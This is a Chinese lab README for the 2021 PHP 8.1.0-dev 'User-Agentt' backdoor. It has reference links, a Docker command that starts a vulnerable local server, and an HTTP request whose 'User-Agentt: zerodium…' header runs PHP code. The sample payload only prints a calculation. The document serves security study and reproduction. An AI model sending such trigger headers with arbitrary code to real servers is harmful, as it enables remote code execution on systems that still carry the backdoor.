Aaron
63285f61aa
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39 lines
1.0 KiB
Markdown
39 lines
1.0 KiB
Markdown
# PHP 8.1.0-dev User-Agentt 后门导致远程代码执行漏洞
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PHP 8.1.0-dev 版本在2021年3月28日被植入后门，但是后门很快被发现并清除。当服务器存在该后门时，攻击者可以通过发送**User-Agentt**头来执行任意代码。
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参考链接：
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- https://news-web.php.net/php.internals/113838
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- https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
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- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
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## 漏洞环境
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执行如下命令启动一个存在后门的PHP 8.1服务器：
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```
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docker compose up -d
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```
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环境启动后，服务运行在`http://your-ip:8080`。
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## 漏洞复现
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发送如下数据包，可见代码`var_dump(233*233);`成功执行：
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```
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GET / HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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User-Agentt: zerodiumvar_dump(233*233);
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Connection: close
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```
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